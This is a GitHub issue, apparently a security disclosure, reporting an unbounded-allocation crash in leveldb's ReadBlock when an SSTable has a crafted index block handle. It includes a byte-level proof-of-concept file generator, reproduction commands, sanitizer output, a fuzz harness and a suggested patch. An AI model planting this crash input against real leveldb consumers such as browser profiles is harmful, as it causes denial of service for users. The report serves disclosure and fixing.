google / google/leveldb

Unbounded Allocation in leveldb::ReadBlock via Crafted SSTable Block Handle

Open
#1,318 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
39.4k
Forks
8.2k
PR merge metrics
No merged PRs in 30d

Description

## Summary

`leveldb::ReadBlock` at `table/format.cc:78` passes an attacker-controlled 64-bit `BlockHandle::size()` directly to `new char[n + kBlockTrailerSize]` with no upper-bound check. A 111-byte crafted `.ldb` file causes `leveldbutil dump` — and every other leveldb consumer calling `Table::Open` (Chrome's IndexedDB reader, Service Worker CacheStorage) — to crash with `std::bad_alloc` in production or `allocation-size-too-big` under ASan.

## Affected Version

- **leveldb commit**: `7ee830d02b623e8ffe0b95d59a74db1e58da04c5` (upstream `main`, April 2026 snapshot)
- **Code presence**: the offending `new char[handle.size() + kBlockTrailerSize]` line has been unchanged since at least the v1.20 release (2017). Every leveldb release back to that tag is vulnerable.
- **Tested on**: Linux 6.8.0-1044-azure x86_64, clang 17.0.6, CMake Release build with `-fsanitize=address -g -O1`.

## Root Cause

### Vulnerable Code (`table/format.cc:69-88`)

```cpp
Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
const BlockHandle& handle, BlockContents* result) {
result->data = Slice();
result->cachable = false;
result->heap_allocated = false;

// Read the block contents as well as the type/crc footer.
// See table_builder.cc for the code that built this structure.
size_t n = static_cast(handle.size()); // u64 -> size_t, no bound check
char* buf = new char[n + kBlockTrailerSize]; // allocation with untrusted size
Slice contents;
Status s = file->Read(handle.offset(), n + kBlockTrailerSize, &contents, buf);
if (!s.ok()) {
delete[] buf;
return s;
}
if (contents.size() != n + kBlockTrailerSize) {
delete[] buf;
return Status::Corruption("truncated block read");
}
```

`handle.size()` is a `uint64_t` decoded earlier from a varint inside an SSTable index-block entry (see `BlockHandle::DecodeFrom` in `table/format.cc:30-44`). Every `.ldb` on disk carries those varints verbatim, and neither the footer parser, the index-block reader, nor `ReadBlock` itself validates that the decoded value fits within a sane envelope (the file's own size, `Options::block_size`, or any hard upper bound).

A crafted index entry can therefore declare a data-block of up to `2^64 - 1` bytes. When `TwoLevelIterator::InitDataBlock()` calls `Table::BlockReader()` → `ReadBlock()`, the `new char[...]` expression tries to satisfy the request and:

- **Production (no sanitizer)**: `std::bad_alloc` propagates out of the iterator and kills the consuming process unless the caller is wrapped in a catch-all `try { ... } catch (...) { ... }` — which `leveldbutil`, `DumpFile`, and Chrome's IndexedDB reader do not do.
- **ASan build**: the allocator aborts with `allocation-size-too-big` on any request over `0x10000000000` (1 TiB). The crash message in our reproduction cited `0xfefbdfff5fffca` bytes — **~71,885 petabytes** requested from the attacker-supplied size field.

### Call Chain

```
leveldbutil dump foo.ldb
-> leveldb::DumpFile db/dumpfile.cc:225
-> DumpTable db/dumpfile.cc:172
-> Table::Open table/table.cc
-> table->NewIterator() table/table.cc
-> TwoLevelIterator::SeekToFirst table/two_level_iterator.cc
-> SkipEmptyDataBlocksForward table/two_level_iterator.cc:123
-> InitDataBlock table/two_level_iterator.cc:156
-> Table::BlockReader table/table.cc:187
-> leveldb::ReadBlock table/format.cc:78 <-- new char[HUGE]
-> operator new[] abort / bad_alloc
```

## Vulnerability Description

The SSTable footer (last 48 bytes of every `.ldb`) carries two varint-encoded `BlockHandle` pairs pointing at the metaindex block and index block. Those handles are validated (implicitly) against the file length when `Table::Open` loads the footer. But the INDEX block itself then stores per-data-block `BlockHandle` entries, and those inner handles are **not** re-validated before being handed to `ReadBlock`.

The attacker lifecycle:

1. Attacker plants a `.ldb` on disk (Chrome profile directory, Android `/data/data//`, an IndexedDB backup/restore import, or any leveldb consumer's working directory).
2. The victim process calls `Table::Open(env, options, file, size, &table)` on the file. The top-level footer parse succeeds because the attacker assembled a file that looks structurally valid up to the outer level.
3. `table->NewIterator()` + `SeekToFirst()` triggers `TwoLevelIterator::InitDataBlock()`, which reads a data-block handle out of the index block — that handle advertises an enormous `size` field.
4. `ReadBlock()` does `new char[size + 5]` and the process crashes.

Because the offending bytes live in the index block (mid-file), not the footer, a harness-side footer sanity check does not prevent the bug — we saw exactly this during fuzzing: our harness pre-validates the last-48-byte footer but the crash still reproduces from 111-byte files because the footer is valid and the index block is where the pathology hides.

## Impact

| Aspect | Details |
|---|---|
| Type | Unbounded allocation / denial-of-service |
| Severity | High |
| Attack Vector | Local (crafted `.ldb` file must reach disk) |
| Affected Component | `leveldb/table/format.cc::ReadBlock` |
| Affected Versions | v1.20 through current `main` (`7ee830d0`, 2026-04) |
| CWE | CWE-770 (Allocation of Resources Without Limits or Throttling) |

**Consumers reachable through this bug**:

- `leveldbutil dump` — confirmed in this report's Phase 2 repro.
- Chrome's **IndexedDB** reader — opens `.ldb` files under `Default/IndexedDB/.../objects/` on every profile load.
- Chrome's **Service Worker CacheStorage** — opens `.ldb` files under `Service Worker/CacheStorage/`.
- Android **WebView** — identical IndexedDB / CacheStorage paths.
- Any first-party tool using `leveldb::DB::Open` or `leveldb::Table::Open` on untrusted input.

## Severity

**CVSS 3.1 Score: 6.5 (Medium)**

Vector: `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`

| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Local | Attacker must plant an `.ldb` on a filesystem the victim will read. Reachable via profile directory tampering, IndexedDB backup import, Chrome extension storage, or any cross-device sync that writes on-disk leveldb state. |
| Attack Complexity | Low | 111-byte file reliably crashes every invocation. No timing, no heap grooming, no memory layout dependence. |
| Privileges Required | None | The offending file just needs to exist in a location the victim process reads. |
| User Interaction | Required | Victim must initiate a leveldb `Table::Open` — opening the Chrome profile, running `leveldbutil dump`, importing a backup, etc. |
| Confidentiality | None | Pure DoS — no read / info-leak path. |
| Integrity | None | No write / state-corruption path. |
| Availability | High | Consumer process crashes hard. For Chrome this kills the tab / extension service worker / IndexedDB origin every time the victim attempts to load the affected profile — recovery requires manual removal of the planted file. |

## PoC

### Crash input

111 bytes. SHA-256: `7d83c15f806956f7db67bd30f9d8ea88956487fc4c0ff4cb395b965457f256bd`.

```python
# generate_poc.py — re-create the crashing .ldb from bytes
poc = bytes([
0x00, 0x04, 0x05, 0x00, 0x00, 0x28, 0xa1, 0x86, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x22, 0x6d, 0xc5, 0xff, 0xff, 0xfa, 0xff, 0xfb, 0xbe, 0xff,
0x00, 0x00, 0x04, 0x05, 0x32, 0x00, 0x00, 0x00, 0xd8, 0x9b, 0x00, 0x00,
0x00, 0x00, 0x00, 0x02, 0x6d, 0x3b, 0x00, 0x00, 0x05, 0xcc, 0x02, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2e, 0x02, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x19, 0x00, 0x04, 0x05,
0x00, 0x00, 0x34, 0x00, 0x00, 0x60, 0x00, 0x28, 0x00, 0x00, 0x00, 0x02,
0x6d, 0x3b, 0x00, 0x00, 0x05, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x57, 0xfb, 0x80, 0x8b, 0x24,
0x75, 0x47, 0xdb,
])
open("000001.ldb", "wb").write(poc)
```

### Build leveldbutil with ASan

```bash
git clone https://github.com/google/leveldb
cd leveldb
git checkout 7ee830d02b623e8ffe0b95d59a74db1e58da04c5 # or current main
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Release \
-DLEVELDB_BUILD_TESTS=OFF \
-DLEVELDB_BUILD_BENCHMARKS=OFF \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ..
make -j leveldbutil
```

### Reproduce via the shipped leveldbutil CLI (Phase 2 — production consumer)

```bash
python3 generate_poc.py
ASAN_OPTIONS=detect_leaks=0 ./leveldbutil dump 000001.ldb
```

ASan aborts the process with `allocation-size-too-big`. The stack frames `DumpFile` → `DumpTable` → `TwoLevelIterator::SeekToFirst` → `ReadBlock` are the exact public call path any leveldb consumer takes when iterating a table.

### Reproduce via the discovery fuzzer (Phase 1)

```bash
./leveldb_table_open_scan_fuzzer 000001.ldb
```

The fuzzer binary is a libFuzzer harness that drives `leveldb::Table::Open` + `Iterator::SeekToFirst` + `Next/key/value` on the input bytes via an in-memory `RandomAccessFile` subclass. Same `ReadBlock` crash, same stack.

## Sanitizer Output

From `leveldbutil dump 000001.ldb` (the production consumer):

```
=================================================================
==519532==ERROR: AddressSanitizer: requested allocation size 0xfefbdfff5fffca (0xfefbdfff600fd0 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x... in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
#1 0x... in leveldb::ReadBlock(...) table/format.cc:78
#2 0x... in leveldb::Table::BlockReader(...) table/table.cc:187
#3 0x... in InitDataBlock table/two_level_iterator.cc:156
#4 0x... in SkipEmptyDataBlocksForward table/two_level_iterator.cc:123
#5 0x... in DumpTable db/dumpfile.cc:172
#6 0x... in leveldb::DumpFile(...) db/dumpfile.cc:225
#7 0x... in HandleDumpCommand db/leveldbutil.cc:29
#8 0x... in main db/leveldbutil.cc:57
#9 0x... in __libc_start_call_main

==519532==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big in operator new[](unsigned long)
==519532==ABORTING
```

## Suggested Fix

Add an upper bound to `handle.size()` before the allocation. Two reasonable options:

**Option A — hard cap on block size (minimal diff)**

```diff
--- a/table/format.cc
+++ b/table/format.cc
@@ -68,12 +68,21 @@ Status BlockHandle::DecodeFrom(Slice* input) {
Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
const BlockHandle& handle, BlockContents* result) {
result->data = Slice();
result->cachable = false;
result->heap_allocated = false;

// Read the block contents as well as the type/crc footer.
// See table_builder.cc for the code that built this structure.
+ // SECURITY: block sizes beyond a sane ceiling indicate a corrupt or
+ // malicious SSTable. Default Options::block_size is 4 KiB; real
+ // tables rarely exceed a few MB per block. A hard cap of 64 MiB is
+ // ~4000x the default and well above documented use, while small
+ // enough to avoid std::bad_alloc / ASan allocation-size-too-big on
+ // adversarial inputs. Without this check the raw new char[] below
+ // will happily attempt to allocate up to 2^64 bytes.
+ static constexpr uint64_t kMaxBlockSize = 64 * 1024 * 1024;
+ if (handle.size() > kMaxBlockSize) {
+ return Status::Corruption("block size exceeds kMaxBlockSize");
+ }
size_t n = static_cast(handle.size());
char* buf = new char[n + kBlockTrailerSize];
```

**Option B — validate against file length (more robust)**

Propagate the `RandomAccessFile`'s total size down into `ReadBlock` and verify `handle.offset() + handle.size() + kBlockTrailerSize <= file_size` before allocating. This is what `Footer::DecodeFrom` implicitly does for the top-level metaindex / index handles, but the check needs to extend to inner data-block handles reached through `TwoLevelIterator::InitDataBlock()`.

Option A is the minimal-risk hot-fix. Option B is the structurally correct fix. Either turns the crash into a clean `Status::Corruption` return value, which callers (`Table::Open`, `DumpFile`, `DB::Open`) already propagate.

Upstream fix judgement welcome — both options are open to bikeshedding on the exact upper bound.

## Fuzz Harness Source

The full source of the libFuzzer harness that found this bug. A
reviewer should be able to rebuild the exact fuzzer from this
block alone.

```cpp
// leveldb_table_open_scan_fuzzer.cc
//
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.

// libFuzzer harness for leveldb::Table::Open + full scan. Drives the
// SSTable footer + block parser on attacker bytes via an in-memory
// RandomAccessFile backed by the fuzz input.

#include
#include
#include
#include
#include

#include "leveldb/iterator.h"
#include "leveldb/options.h"
#include "leveldb/slice.h"
#include "leveldb/status.h"
#include "leveldb/table.h"
#include "leveldb/env.h"

namespace {

// Minimal RandomAccessFile wrapping a byte slice. Env::NewRandomAccessFile
// returns an instance of the same public abstract class in production,
// so the harness is not bypassing any security boundary.
class BytesRandomAccessFile : public leveldb::RandomAccessFile {
public:
BytesRandomAccessFile(const uint8_t* data, size_t size)
: data_(data), size_(size) {}

leveldb::Status Read(uint64_t offset, size_t n, leveldb::Slice* result,
char* scratch) const override {
if (offset > size_) {
*result = leveldb::Slice();
return leveldb::Status::IOError("offset beyond file size");
}
size_t avail = size_ - static_cast(offset);
if (n > avail) n = avail;
memcpy(scratch, data_ + offset, n);
*result = leveldb::Slice(scratch, n);
return leveldb::Status::OK();
}

private:
const uint8_t* data_;
size_t size_;
};

} // namespace

// Pre-validate the SSTable footer (last 48 bytes) so Table::Open
// does not try to `new char[block_size]` with attacker-controlled,
// unbounded size fields in the OUTER metaindex / index handles.
// Footer layout:
// [0..39] metaindex BlockHandle + index BlockHandle
// (each handle is two varint64s: offset, size)
// [40..47] magic (0xdb4775248b80fb57)
// Note: this only bounds the OUTER handles. The inner data-block
// handles stored INSIDE the index block are NOT validated — that
// is exactly where the reported bug hides.
static bool LeveldbFooterSane(const uint8_t* data, size_t size) {
if (size < 48) return false;
if (size > (1u << 20)) return false; // 1 MiB cap keeps allocs bounded
const uint8_t* p = data + size - 48;
const uint8_t* end = p + 40;
auto decode_varint = [](const uint8_t*& c, const uint8_t* e) -> uint64_t {
uint64_t result = 0;
for (int shift = 0; shift <= 63 && c < e; shift += 7) {
uint8_t b = *c++;
result |= static_cast(b & 0x7f) << shift;
if (!(b & 0x80)) return result;
}
return UINT64_MAX; // overflow / malformed
};
const uint64_t lim = size;
uint64_t meta_off = decode_varint(p, end);
uint64_t meta_sz = decode_varint(p, end);
uint64_t idx_off = decode_varint(p, end);
uint64_t idx_sz = decode_varint(p, end);
if (meta_sz > lim || idx_sz > lim) return false;
if (meta_off > lim || idx_off > lim) return false;
if (meta_off + meta_sz > lim) return false;
if (idx_off + idx_sz > lim) return false;
if (meta_sz > 64 * 1024 || idx_sz > 64 * 1024) return false;
return true;
}

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (!LeveldbFooterSane(data, size)) return 0;

BytesRandomAccessFile file(data, size);
leveldb::Options options;
leveldb::Table* raw_table = nullptr;
leveldb::Status s =
leveldb::Table::Open(options, &file, size, &raw_table);
if (!s.ok()) return 0;

std::unique_ptr table(raw_table);
leveldb::ReadOptions ro;
std::unique_ptr it(table->NewIterator(ro));

int scanned = 0;
for (it->SeekToFirst(); it->Valid() && scanned < 100000; it->Next()) {
// Touch both key and value to force the block iterator to
// reconstruct the shared-prefix key and read value bytes —
// this is what drives the TwoLevelIterator::InitDataBlock()
// call that hits the vulnerable ReadBlock path.
leveldb::Slice k = it->key();
leveldb::Slice v = it->value();
(void)k.size();
(void)v.size();
scanned++;
}
(void)it->status();
return 0;
}
```

Build and link (leveldb is compiled with `-fno-rtti`, so the
harness must be too):

```bash
clang++ -std=c++17 -fsanitize=fuzzer,address -fno-rtti \
-g -O1 -fno-omit-frame-pointer \
-I/include -I \
leveldb_table_open_scan_fuzzer.cc \
/build/libleveldb.a \
-lpthread -lsnappy \
-o leveldb_table_open_scan_fuzzer
```

Corpus: a mix of footer-valid stub files and synthetic SSTables
with crafted block handles. No special `ASAN_OPTIONS` needed — the
harness's `LeveldbFooterSane` pre-validator deliberately lets inner
data-block pathologies through, so the fuzzer spends its time
inside `ReadBlock`.

## Discovery

- **Discovered by**: O2 Security Team (FuzzingBrain)
- **Discovered on**: 2026-04-11
- **Harness**: `leveldb_table_open_scan_fuzzer.cc` (see "Fuzz Harness Source" above)

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.